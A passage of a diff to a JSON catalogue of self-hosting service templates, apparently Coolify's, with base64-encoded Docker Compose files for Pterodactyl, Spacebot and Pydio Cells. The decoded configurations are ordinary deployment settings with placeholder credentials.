"https://pterodactyl.io/?utm_source=coolify.io", - "slogan": "Pterodactyl is a free, open-source game server management panel", - "compose": "c2VydmljZXM6CiAgbWFyaWFkYjoKICAgIGltYWdlOiAnbWFyaWFkYjoxMS44JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdoZWFsdGhjaGVjay5zaCAtLWNvbm5lY3QgLS1pbm5vZGJfaW5pdGlhbGl6ZWQgfHwgZXhpdCAxJwogICAgICBzdGFydF9wZXJpb2Q6IDEwcwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIHJldHJpZXM6IDMKICAgIGVudmlyb25tZW50OgogICAgICAtIE1ZU1FMX1JPT1RfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfTVlTUUxST09UCiAgICAgIC0gTVlTUUxfREFUQUJBU0U9cHRlcm9kYWN0eWwtZGIKICAgICAgLSBNWVNRTF9VU0VSPSRTRVJWSUNFX1VTRVJfTVlTUUwKICAgICAgLSBNWVNRTF9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NWVNRTAogICAgdm9sdW1lczoKICAgICAgLSAncHRlcm9kYWN0eWwtZGI6L3Zhci9saWIvbXlzcWwnCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOmFscGluZScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncmVkaXMtY2xpIHBpbmcgfHwgZXhpdCAxJwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIHJldHJpZXM6IDMKICBwdGVyb2RhY3R5bDoKICAgIGltYWdlOiAnZ2hjci5pby9wdGVyb2RhY3R5bC9wYW5lbDp2MS4xMi4wJwogICAgdm9sdW1lczoKICAgICAgLSAncGFuZWwtdmFyOi9hcHAvdmFyLycKICAgICAgLSAncGFuZWwtbmdpbng6L2V0Yy9uZ2lueC9odHRwLmQvJwogICAgICAtICdwYW5lbC1jZXJ0czovZXRjL2xldHNlbmNyeXB0LycKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vZXRjL2VudHJ5cG9pbnQuc2gKICAgICAgICB0YXJnZXQ6IC9lbnRyeXBvaW50LnNoCiAgICAgICAgbW9kZTogJzA3NTUnCiAgICAgICAgY29udGVudDogIiMhL2Jpbi9zaFxuc2V0IC1lXG5cbiBlY2hvIFwiU2V0dGluZyBsb2dzIHBlcm1pc3Npb25zLi4uXCJcbiBjaG93biAtUiBuZ2lueDogL2FwcC9zdG9yYWdlL2xvZ3MvXG5cbiBVU0VSX0VYSVNUUz0kKHBocCBhcnRpc2FuIHRpbmtlciAtLW5vLWFuc2kgLS1leGVjdXRlPSdlY2hvIFxcUHRlcm9kYWN0eWxcXE1vZGVsc1xcVXNlcjo6d2hlcmUoXCJlbWFpbFwiLCBcIidcIiRBRE1JTl9FTUFJTFwiJ1wiKS0+ZXhpc3RzKCkgPyBcIjFcIiA6IFwiMFwiOycpXG5cbiBpZiBbIFwiJFVTRVJfRVhJU1RTXCIgPSBcIjBcIiBdOyB0aGVuXG4gICBlY2hvIFwiQWRtaW4gVXNlciBkb2VzIG5vdCBleGlzdCwgY3JlYXRpbmcgdXNlciBub3cuXCJcbiAgIHBocCBhcnRpc2FuIHA6dXNlcjptYWtlIC0tbm8taW50ZXJhY3Rpb24gXFxcbiAgICAgLS1hZG1pbj0xIFxcXG4gICAgIC0tZW1haWw9XCIkQURNSU5fRU1BSUxcIiBcXFxuICAgICAtLXVzZXJuYW1lPVwiJEFETUlOX1VTRVJOQU1FXCIgXFxcbiAgICAgLS1uYW1lLWZpcnN0PVwiJEFETUlOX0ZJUlNUTkFNRVwiIFxcXG4gICAgIC0tbmFtZS1sYXN0PVwiJEFETUlOX0xBU1ROQU1FXCIgXFxcbiAgICAgLS1wYXNzd29yZD1cIiRBRE1JTl9QQVNTV09SRFwiXG4gICBlY2hvIFwiQWRtaW4gdXNlciBjcmVhdGVkIHN1Y2Nlc3NmdWxseSFcIlxuIGVsc2VcbiAgIGVjaG8gXCJBZG1pbiBVc2VyIGFscmVhZHkgZXhpc3RzLCBza2lwcGluZyBjcmVhdGlvbi5cIlxuIGZpXG5cbiBleGVjIHN1cGVydmlzb3JkIC0tbm9kYWVtb25cbiIKICAgIGNvbW1hbmQ6CiAgICAgIC0gL2VudHJ5cG9pbnQuc2gKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnY3VybCAtc2YgaHR0cDovL2xvY2FsaG9zdDo4MCB8fCBleGl0IDEnCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogMXMKICAgICAgcmV0cmllczogMwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gSEFTSElEU19TQUxUPSRTRVJWSUNFX1BBU1NXT1JEX0hBU0hJRFMKICAgICAgLSBIQVNISURTX0xFTkdUSD04CiAgICAgIC0gU0VSVklDRV9GUUROX1BURVJPREFDVFlMXzgwCiAgICAgIC0gJ0FETUlOX0VNQUlMPSR7QURNSU5fRU1BSUw6LWFkbWluQGV4YW1wbGUuY29tfScKICAgICAgLSAnQURNSU5fVVNFUk5BTUU9JHtTRVJWSUNFX1VTRVJfQURNSU59JwogICAgICAtICdBRE1JTl9GSVJTVE5BTUU9JHtBRE1JTl9GSVJTVE5BTUU6LUFkbWlufScKICAgICAgLSAnQURNSU5fTEFTVE5BTUU9JHtBRE1JTl9MQVNUTkFNRTotVXNlcn0nCiAgICAgIC0gJ0FETUlOX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9BRE1JTn0nCiAgICAgIC0gJ1BURVJPREFDVFlMX0hUVFBTPSR7UFRFUk9EQUNUWUxfSFRUUFM6LWZhbHNlfScKICAgICAgLSBBUFBfRU5WPXByb2R1Y3Rpb24KICAgICAgLSBBUFBfRU5WSVJPTk1FTlRfT05MWT1mYWxzZQogICAgICAtIEFQUF9VUkw9JFNFUlZJQ0VfRlFETl9QVEVST0RBQ1RZTAogICAgICAtICdBUFBfVElNRVpPTkU9JHtUSU1FWk9ORTotVVRDfScKICAgICAgLSAnQVBQX1NFUlZJQ0VfQVVUSE9SPSR7QVBQX1NFUlZJQ0VfQVVUSE9SOi1hdXRob3JAZXhhbXBsZS5jb219JwogICAgICAtICdMT0dfTEVWRUw9JHtMT0dfTEVWRUw6LWRlYnVnfScKICAgICAgLSBDQUNIRV9EUklWRVI9cmVkaXMKICAgICAgLSBTRVNTSU9OX0RSSVZFUj1yZWRpcwogICAgICAtIFFVRVVFX0RSSVZFUj1yZWRpcwogICAgICAtIFJFRElTX0hPU1Q9cmVkaXMKICAgICAgLSBEQl9EQVRBQkFTRT1wdGVyb2RhY3R5bC1kYgogICAgICAtIERCX1VTRVJOQU1FPSRTRVJWSUNFX1VTRVJfTVlTUUwKICAgICAgLSBEQl9IT1NUPW1hcmlhZGIKICAgICAgLSBEQl9QT1JUPTMzMDYKICAgICAgLSBEQl9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NWVNRTAogICAgICAtIE1BSUxfRlJPTT0kTUFJTF9GUk9NCiAgICAgIC0gTUFJTF9EUklWRVI9JE1BSUxfRFJJVkVSCiAgICAgIC0gTUFJTF9IT1NUPSRNQUlMX0hPU1QKICAgICAgLSBNQUlMX1BPUlQ9JE1BSUxfUE9SVAogICAgICAtIE1BSUxfVVNFUk5BTUU9JE1BSUxfVVNFUk5BTUUKICAgICAgLSBNQUlMX1BBU1NXT1JEPSRNQUlMX1BBU1NXT1JECiAgICAgIC0gTUFJTF9FTkNSWVBUSU9OPSRNQUlMX0VOQ1JZUFRJT04K", - "tags": [ - "game", - "game server", - "management", - "panel", - "minecraft" - ], - "category": "media", - "logo": "svgs/pterodactyl.png", - "minversion": "0.0.0", - "port": "80" - }, - "pterodactyl-with-wings": { - "documentation": "https://pterodactyl.io/?utm_source=coolify.io", - "slogan": "Pterodactyl is a free, open-source game server management panel", - "compose": "c2VydmljZXM6CiAgbWFyaWFkYjoKICAgIGltYWdlOiAnbWFyaWFkYjoxMS44JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdoZWFsdGhjaGVjay5zaCAtLWNvbm5lY3QgLS1pbm5vZGJfaW5pdGlhbGl6ZWQgfHwgZXhpdCAxJwogICAgICBzdGFydF9wZXJpb2Q6IDEwcwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIHJldHJpZXM6IDMKICAgIGVudmlyb25tZW50OgogICAgICAtIE1ZU1FMX1JPT1RfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfTVlTUUxST09UCiAgICAgIC0gTVlTUUxfREFUQUJBU0U9cHRlcm9kYWN0eWwtZGIKICAgICAgLSBNWVNRTF9VU0VSPSRTRVJWSUNFX1VTRVJfTVlTUUwKICAgICAgLSBNWVNRTF9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NWVNRTAogICAgdm9sdW1lczoKICAgICAgLSAncHRlcm9kYWN0eWwtZGI6L3Zhci9saWIvbXlzcWwnCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOmFscGluZScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncmVkaXMtY2xpIHBpbmcgfHwgZXhpdCAxJwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIHJldHJpZXM6IDMKICBwdGVyb2RhY3R5bDoKICAgIGltYWdlOiAnZ2hjci5pby9wdGVyb2RhY3R5bC9wYW5lbDp2MS4xMi4wJwogICAgdm9sdW1lczoKICAgICAgLSAncGFuZWwtdmFyOi9hcHAvdmFyLycKICAgICAgLSAncGFuZWwtbmdpbng6L2V0Yy9uZ2lueC9odHRwLmQvJwogICAgICAtICdwYW5lbC1jZXJ0czovZXRjL2xldHNlbmNyeXB0LycKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vZXRjL2VudHJ5cG9pbnQuc2gKICAgICAgICB0YXJnZXQ6IC9lbnRyeXBvaW50LnNoCiAgICAgICAgbW9kZTogJzA3NTUnCiAgICAgICAgY29udGVudDogIiMhL2Jpbi9zaFxuc2V0IC1lXG5cbiBlY2hvIFwiU2V0dGluZyBsb2dzIHBlcm1pc3Npb25zLi4uXCJcbiBjaG93biAtUiBuZ2lueDogL2FwcC9zdG9yYWdlL2xvZ3MvXG5cbiBVU0VSX0VYSVNUUz0kKHBocCBhcnRpc2FuIHRpbmtlciAtLW5vLWFuc2kgLS1leGVjdXRlPSdlY2hvIFxcUHRlcm9kYWN0eWxcXE1vZGVsc1xcVXNlcjo6d2hlcmUoXCJlbWFpbFwiLCBcIidcIiRBRE1JTl9FTUFJTFwiJ1wiKS0+ZXhpc3RzKCkgPyBcIjFcIiA6IFwiMFwiOycpXG5cbiBpZiBbIFwiJFVTRVJfRVhJU1RTXCIgPSBcIjBcIiBdOyB0aGVuXG4gICBlY2hvIFwiQWRtaW4gVXNlciBkb2VzIG5vdCBleGlzdCwgY3JlYXRpbmcgdXNlciBub3cuXCJcbiAgIHBocCBhcnRpc2FuIHA6dXNlcjptYWtlIC0tbm8taW50ZXJhY3Rpb24gXFxcbiAgICAgLS1hZG1pbj0xIFxcXG4gICAgIC0tZW1haWw9XCIkQURNSU5fRU1BSUxcIiBcXFxuICAgICAtLXVzZXJuYW1lPVwiJEFETUlOX1VTRVJOQU1FXCIgXFxcbiAgICAgLS1uYW1lLWZpcnN0PVwiJEFETUlOX0ZJUlNUTkFNRVwiIFxcXG4gICAgIC0tbmFtZS1sYXN0PVwiJEFETUlOX0xBU1ROQU1FXCIgXFxcbiAgICAgLS1wYXNzd29yZD1cIiRBRE1JTl9QQVNTV09SRFwiXG4gICBlY2hvIFwiQWRtaW4gdXNlciBjcmVhdGVkIHN1Y2Nlc3NmdWxseSFcIlxuIGVsc2VcbiAgIGVjaG8gXCJBZG1pbiBVc2VyIGFscmVhZHkgZXhpc3RzLCBza2lwcGluZyBjcmVhdGlvbi5cIlxuIGZpXG5cbiBleGVjIHN1cGVydmlzb3JkIC0tbm9kYWVtb25cbiIKICAgIGNvbW1hbmQ6CiAgICAgIC0gL2VudHJ5cG9pbnQuc2gKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnY3VybCAtc2YgaHR0cDovL2xvY2FsaG9zdDo4MCB8fCBleGl0IDEnCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogMXMKICAgICAgcmV0cmllczogMwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gSEFTSElEU19TQUxUPSRTRVJWSUNFX1BBU1NXT1JEX0hBU0hJRFMKICAgICAgLSBIQVNISURTX0xFTkdUSD04CiAgICAgIC0gU0VSVklDRV9GUUROX1BURVJPREFDVFlMXzgwCiAgICAgIC0gJ0FETUlOX0VNQUlMPSR7QURNSU5fRU1BSUw6LWFkbWluQGV4YW1wbGUuY29tfScKICAgICAgLSAnQURNSU5fVVNFUk5BTUU9JHtTRVJWSUNFX1VTRVJfQURNSU59JwogICAgICAtICdBRE1JTl9GSVJTVE5BTUU9JHtBRE1JTl9GSVJTVE5BTUU6LUFkbWlufScKICAgICAgLSAnQURNSU5fTEFTVE5BTUU9JHtBRE1JTl9MQVNUTkFNRTotVXNlcn0nCiAgICAgIC0gJ0FETUlOX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9BRE1JTn0nCiAgICAgIC0gJ1BURVJPREFDVFlMX0hUVFBTPSR7UFRFUk9EQUNUWUxfSFRUUFM6LWZhbHNlfScKICAgICAgLSBBUFBfRU5WPXByb2R1Y3Rpb24KICAgICAgLSBBUFBfRU5WSVJPTk1FTlRfT05MWT1mYWxzZQogICAgICAtIEFQUF9VUkw9JFNFUlZJQ0VfRlFETl9QVEVST0RBQ1RZTAogICAgICAtICdBUFBfVElNRVpPTkU9JHtUSU1FWk9ORTotVVRDfScKICAgICAgLSAnQVBQX1NFUlZJQ0VfQVVUSE9SPSR7QVBQX1NFUlZJQ0VfQVVUSE9SOi1hdXRob3JAZXhhbXBsZS5jb219JwogICAgICAtICdMT0dfTEVWRUw9JHtMT0dfTEVWRUw6LWRlYnVnfScKICAgICAgLSBDQUNIRV9EUklWRVI9cmVkaXMKICAgICAgLSBTRVNTSU9OX0RSSVZFUj1yZWRpcwogICAgICAtIFFVRVVFX0RSSVZFUj1yZWRpcwogICAgICAtIFJFRElTX0hPU1Q9cmVkaXMKICAgICAgLSBEQl9EQVRBQkFTRT1wdGVyb2RhY3R5bC1kYgogICAgICAtIERCX1VTRVJOQU1FPSRTRVJWSUNFX1VTRVJfTVlTUUwKICAgICAgLSBEQl9IT1NUPW1hcmlhZGIKICAgICAgLSBEQl9QT1JUPTMzMDYKICAgICAgLSBEQl9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NWVNRTAogICAgICAtIE1BSUxfRlJPTT0kTUFJTF9GUk9NCiAgICAgIC0gTUFJTF9EUklWRVI9JE1BSUxfRFJJVkVSCiAgICAgIC0gTUFJTF9IT1NUPSRNQUlMX0hPU1QKICAgICAgLSBNQUlMX1BPUlQ9JE1BSUxfUE9SVAogICAgICAtIE1BSUxfVVNFUk5BTUU9JE1BSUxfVVNFUk5BTUUKICAgICAgLSBNQUlMX1BBU1NXT1JEPSRNQUlMX1BBU1NXT1JECiAgICAgIC0gTUFJTF9FTkNSWVBUSU9OPSRNQUlMX0VOQ1JZUFRJT04KICB3aW5nczoKICAgIGltYWdlOiAnZ2hjci5pby9wdGVyb2RhY3R5bC93aW5nczp2MS4xMi4xJwogICAgcmVzdGFydDogdW5sZXNzLXN0b3BwZWQKICAgIHBvcnRzOgogICAgICAtICcyMDIyOjIwMjInCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fV0lOR1NfODQ0MwogICAgICAtICdUWj0ke1RJTUVaT05FOi1VVEN9JwogICAgICAtIFdJTkdTX1VTRVJOQU1FPXB0ZXJvZGFjdHlsCiAgICB2b2x1bWVzOgogICAgICAtICcvdmFyL3J1bi9kb2NrZXIuc29jazovdmFyL3J1bi9kb2NrZXIuc29jaycKICAgICAgLSAnL3Zhci9saWIvZG9ja2VyL2NvbnRhaW5lcnMvOi92YXIvbGliL2RvY2tlci9jb250YWluZXJzLycKICAgICAgLSAnL3Zhci9saWIvcHRlcm9kYWN0eWwvOi92YXIvbGliL3B0ZXJvZGFjdHlsLycKICAgICAgLSAnL3RtcC9wdGVyb2RhY3R5bC86L3RtcC9wdGVyb2RhY3R5bC8nCiAgICAgIC0gJ3dpbmdzLWxvZ3M6L3Zhci9sb2cvcHRlcm9kYWN0eWwvJwogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi9ldGMvY29uZmlnLnltbAogICAgICAgIHRhcmdldDogL2V0Yy9wdGVyb2RhY3R5bC9jb25maWcueW1sCiAgICAgICAgY29udGVudDogImRlYnVnOiBmYWxzZVxudXVpZDogUkVQTEFDRSBGUk9NIENPTkZJRyAjZXhhbXBsZTogYWJjOWFiYzgtYWJjNy1hYmM2LWFiYzUtYWJjNGFiYzNhYmMyXG50b2tlbl9pZDogUkVQTEFDRSBGUk9NIENPTkZJRyAjZXhhbXBsZTogYWJjMWFiYzJhYmMzYWJjNFxudG9rZW46IFJFUExBQ0UgRlJPTSBDT05GSUcgICNleGFtcGxlOiBhYmMxYWJjMmFiYzNhYmM0YWJjNWFiYzZhYmM3YWJjOGFiYzlhYmMxMGFiYzExYWJjMTJhYmMxM2FiYzE0YWJjMTVhYmMxNlxuYXBpOlxuICBob3N0OiAwLjAuMC4wXG4gIHBvcnQ6IDg0NDMgIyB1c2UgcG9ydCA0NDMgSU4gVEhFIFBBTkVMIGR1cmluZyBub2RlIHNldHVwXG4gIHNzbDpcbiAgICBlbmFibGVkOiBmYWxzZVxuICAgIGNlcnQ6IFJFUExBQ0UgRlJPTSBDT05GSUcgI2V4YW1wbGU6IC9ldGMvbGV0c2VuY3J5cHQvbGl2ZS93aW5ncy1hYmNhYmNhYmNhYmNhYmMuZXhhbXBsZS5jb20vZnVsbGNoYWluLnBlbVxuICAgIGtleTogUkVQTEFDRSBGUk9NIENPTkZJRyAjZXhhbXBsZTogL2V0Yy9sZXRzZW5jcnlwdC9saXZlL3dpbmdzLWFiY2FiY2FiY2FiY2FiYy5leGFtcGxlLmNvbS9wcml2a2V5LnBlbVxuICBkaXNhYmxlX3JlbW90ZV9kb3dubG9hZDogZmFsc2VcbiAgdXBsb2FkX2xpbWl0OiAxMDBcbiAgdHJ1c3RlZF9wcm94aWVzOiBbXVxuc3lzdGVtOlxuICByb290X2RpcmVjdG9yeTogL3Zhci9saWIvcHRlcm9kYWN0eWxcbiAgbG9nX2RpcmVjdG9yeTogL3Zhci9sb2cvcHRlcm9kYWN0eWxcbiAgZGF0YTogL3Zhci9saWIvcHRlcm9kYWN0eWwvdm9sdW1lc1xuICBhcmNoaXZlX2RpcmVjdG9yeTogL3Zhci9saWIvcHRlcm9kYWN0eWwvYXJjaGl2ZXNcbiAgYmFja3VwX2RpcmVjdG9yeTogL3Zhci9saWIvcHRlcm9kYWN0eWwvYmFja3Vwc1xuICB0bXBfZGlyZWN0b3J5OiAvdG1wL3B0ZXJvZGFjdHlsXG4gIHVzZXJuYW1lOiBwdGVyb2RhY3R5bFxuICB0aW1lem9uZTogVVRDXG4gIHVzZXI6XG4gICAgcm9vdGxlc3M6XG4gICAgICBlbmFibGVkOiBmYWxzZVxuICAgICAgY29udGFpbmVyX3VpZDogMFxuICAgICAgY29udGFpbmVyX2dpZDogMFxuICAgIHVpZDogOTg4XG4gICAgZ2lkOiA5ODhcbiAgZGlza19jaGVja19pbnRlcnZhbDogMTUwXG4gIGFjdGl2aXR5X3NlbmRfaW50ZXJ2YWw6IDYwXG4gIGFjdGl2aXR5X3NlbmRfY291bnQ6IDEwMFxuICBjaGVja19wZXJtaXNzaW9uc19vbl9ib290OiB0cnVlXG4gIGVuYWJsZV9sb2dfcm90YXRlOiB0cnVlXG4gIHdlYnNvY2tldF9sb2dfY291bnQ6IDE1MFxuICBzZnRwOlxuICAgIGJpbmRfYWRkcmVzczogMC4wLjAuMFxuICAgIGJpbmRfcG9ydDogMjAyMlxuICAgIHJlYWRfb25seTogZmFsc2VcbiAgY3Jhc2hfZGV0ZWN0aW9uOlxuICAgIGVuYWJsZWQ6IHRydWVcbiAgICBkZXRlY3RfY2xlYW5fZXhpdF9hc19jcmFzaDogdHJ1ZVxuICAgIHRpbWVvdXQ6IDYwXG4gIGJhY2t1cHM6XG4gICAgd3JpdGVfbGltaXQ6IDBcbiAgICBjb21wcmVzc2lvbl9sZXZlbDogYmVzdF9zcGVlZFxuICB0cmFuc2ZlcnM6XG4gICAgZG93bmxvYWRfbGltaXQ6IDBcbiAgb3BlbmF0X21vZGU6IGF1dG9cbmRvY2tlcjpcbiAgbmV0d29yazpcbiAgICBpbnRlcmZhY2U6IDE3Mi4yOC4wLjFcbiAgICBkbnM6XG4gICAgICAtIDEuMS4xLjFcbiAgICAgIC0gMS4wLjAuMVxuICAgIG5hbWU6IHB0ZXJvZGFjdHlsX253XG4gICAgaXNwbjogZmFsc2VcbiAgICBkcml2ZXI6IGJyaWRnZVxuICAgIG5ldHdvcmtfbW9kZTogcHRlcm9kYWN0eWxfbndcbiAgICBpc19pbnRlcm5hbDogZmFsc2VcbiAgICBlbmFibGVfaWNjOiB0cnVlXG4gICAgbmV0d29ya19tdHU6IDE1MDBcbiAgICBpbnRlcmZhY2VzOlxuICAgICAgdjQ6XG4gICAgICAgIHN1Ym5ldDogMTcyLjI4LjAuMC8xNlxuICAgICAgICBnYXRld2F5OiAxNzIuMjguMC4xXG4gICAgICB2NjpcbiAgICAgICAgc3VibmV0OiBmZGJhOjE3Yzg6NmM5NDo6LzY0XG4gICAgICAgIGdhdGV3YXk6IGZkYmE6MTdjODo2Yzk0OjoxMDExXG4gIGRvbWFpbm5hbWU6IFwiXCJcbiAgcmVnaXN0cmllczoge31cbiAgdG1wZnNfc2l6ZTogMTAwXG4gIGNvbnRhaW5lcl9waWRfbGltaXQ6IDUxMlxuICBpbnN0YWxsZXJfbGltaXRzOlxuICAgIG1lbW9yeTogMTAyNFxuICAgIGNwdTogMTAwXG4gIG92ZXJoZWFkOlxuICAgIG92ZXJyaWRlOiBmYWxzZVxuICAgIGRlZmF1bHRfbXVsdGlwbGllcjogMS4wNVxuICAgIG11bHRpcGxpZXJzOiB7fVxuICB1c2VfcGVyZm9ybWFudF9pbnNwZWN0OiB0cnVlXG4gIHVzZXJuc19tb2RlOiBcIlwiXG4gIGxvZ19jb25maWc6XG4gICAgdHlwZTogbG9jYWxcbiAgICBjb25maWc6XG4gICAgICBjb21wcmVzczogXCJmYWxzZVwiXG4gICAgICBtYXgtZmlsZTogXCIxXCJcbiAgICAgIG1heC1zaXplOiA1bVxuICAgICAgbW9kZTogbm9uLWJsb2NraW5nXG50aHJvdHRsZXM6XG4gIGVuYWJsZWQ6IHRydWVcbiAgbGluZXM6IDIwMDBcbiAgbGluZV9yZXNldF9pbnRlcnZhbDogMTAwXG5yZW1vdGU6IGh0dHA6Ly9wdGVyb2RhY3R5bDo4MFxucmVtb3RlX3F1ZXJ5OlxuICB0aW1lb3V0OiAzMFxuICBib290X3NlcnZlcnNfcGVyX3BhZ2U6IDUwXG5hbGxvd2VkX21vdW50czogW11cbmFsbG93ZWRfb3JpZ2luczpcbiAgLSBodHRwOi8vcHRlcm9kYWN0eWw6ODBcbiAgLSBQQU5FTCBET01BSU4gIyBleGFtcGxlOiBodHRwczovL3B0ZXJvZGFjdHlsLWFiY2FiY2FiY2FiY2F2Yy5leGFtcGxlLmNvbVxuYWxsb3dfY29yc19wcml2YXRlX25ldHdvcms6IGZhbHNlXG5pZ25vcmVfcGFuZWxfY29uZmlnX3VwZGF0ZXM6IGZhbHNlIgo=", - "tags": [ - "game", - "game server", - "management", - "panel", - "minecraft" - ], - "category": "media", - "logo": "svgs/pterodactyl.png", - "minversion": "0.0.0", - "port": "80, 8443" - }, "qbittorrent": { "documentation": "https://docs.linuxserver.io/images/docker-qbittorrent/?utm_source=coolify.io", "slogan": "The qBittorrent project aims to provide an open-source software alternative to \u03bcTorrent.", @@ -4386,6 +4316,25 @@ "minversion": "0.0.0", "port": "8989" }, + "spacebot": { + "documentation": "https://docs.spacebot.sh/docker?utm_source=coolify.io", + "slogan": "An agentic AI system with specialized processes for thinking, working, and remembering.", + "compose": "c2VydmljZXM6CiAgc3BhY2Vib3Q6CiAgICBpbWFnZTogJ2doY3IuaW8vc3BhY2Vkcml2ZWFwcC9zcGFjZWJvdDpmdWxsJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX1NQQUNFQk9UXzE5ODk4CiAgICAgIC0gJ0FOVEhST1BJQ19BUElfS0VZPSR7QU5USFJPUElDX0FQSV9LRVl9JwogICAgICAtICdPUEVOQUlfQVBJX0tFWT0ke09QRU5BSV9BUElfS0VZfScKICAgICAgLSAnT1BFTlJPVVRFUl9BUElfS0VZPSR7T1BFTlJPVVRFUl9BUElfS0VZfScKICAgICAgLSAnRElTQ09SRF9CT1RfVE9LRU49JHtESVNDT1JEX0JPVF9UT0tFTn0nCiAgICAgIC0gJ1NMQUNLX0JPVF9UT0tFTj0ke1NMQUNLX0JPVF9UT0tFTn0nCiAgICAgIC0gJ1NMQUNLX0FQUF9UT0tFTj0ke1NMQUNLX0FQUF9UT0tFTn0nCiAgICAgIC0gJ0JSQVZFX1NFQVJDSF9BUElfS0VZPSR7QlJBVkVfU0VBUkNIX0FQSV9LRVl9JwogICAgICAtICdTUEFDRUJPVF9DSEFOTkVMX01PREVMPSR7U1BBQ0VCT1RfQ0hBTk5FTF9NT0RFTH0nCiAgICAgIC0gJ1NQQUNFQk9UX1dPUktFUl9NT0RFTD0ke1NQQUNFQk9UX1dPUktFUl9NT0RFTH0nCiAgICB2b2x1bWVzOgogICAgICAtICdzcGFjZWJvdC1kYXRhOi9kYXRhJwogICAgc2VjdXJpdHlfb3B0OgogICAgICAtIHNlY2NvbXA9dW5jb25maW5lZAogICAgc2htX3NpemU6IDFnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1zZicKICAgICAgICAtICdodHRwOi8vbG9jYWxob3N0OjE5ODk4L2FwaS9oZWFsdGgnCiAgICAgIGludGVydmFsOiAzMHMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMwo=", + "tags": [ + "ai", + "agent", + "anthropic", + "openai", + "discord", + "slack", + "llm", + "agentic" + ], + "category": "ai", + "logo": "svgs/spacebot.png", + "minversion": "0.0.0", + "port": "19898" + }, "sparkyfitness": { "documentation": "https://codewithcj.github.io/SparkyFitness/?utm_source=coolify.io", "slogan": "SparkyFitness is a comprehensive fitness tracking and management application designed to help users monitor their nutrition, exercise, and body measurements. It provides tools for daily progress tracking, goal setting, and insightful reports to support a healthy lifestyle.", @@ -5282,5 +5231,17 @@ "logo": "svgs/marimo.svg", "minversion": "0.0.0", "port": "8080" + }, + "pydio-cells": { + "documentation": "https://docs.pydio.com/?utm_source=coolify.io", + "slogan": "High-performance large file sharing, native no-code automation, and a collaboration-centric architecture that simplifies access control without compromising security or compliance.", + "compose": "c2VydmljZXM6CiAgY2VsbHM6CiAgICBpbWFnZTogJ3B5ZGlvL2NlbGxzOjQuNCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9DRUxMU184MDgwCiAgICAgIC0gJ0NFTExTX1NJVEVfRVhURVJOQUw9JHtTRVJWSUNFX0ZRRE5fQ0VMTFN9JwogICAgICAtIENFTExTX1NJVEVfTk9fVExTPTEKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2NlbGxzX2RhdGE6L3Zhci9jZWxscycKICBtYXJpYWRiOgogICAgaW1hZ2U6ICdtYXJpYWRiOjExJwogICAgdm9sdW1lczoKICAgICAgLSAnbXlzcWxfZGF0YTovdmFyL2xpYi9teXNxbCcKICAgIGVudmlyb25tZW50OgogICAgICAtICdNWVNRTF9ST09UX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9NWVNRTFJPT1R9JwogICAgICAtICdNWVNRTF9EQVRBQkFTRT0ke01ZU1FMX0RBVEFCQVNFOi1jZWxsc30nCiAgICAgIC0gJ01ZU1FMX1VTRVI9JHtTRVJWSUNFX1VTRVJfTVlTUUx9JwogICAgICAtICdNWVNRTF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTVlTUUx9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGhlYWx0aGNoZWNrLnNoCiAgICAgICAgLSAnLS1jb25uZWN0JwogICAgICAgIC0gJy0taW5ub2RiX2luaXRpYWxpemVkJwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiA1Cg==", + "tags": [ + "storage" + ], + 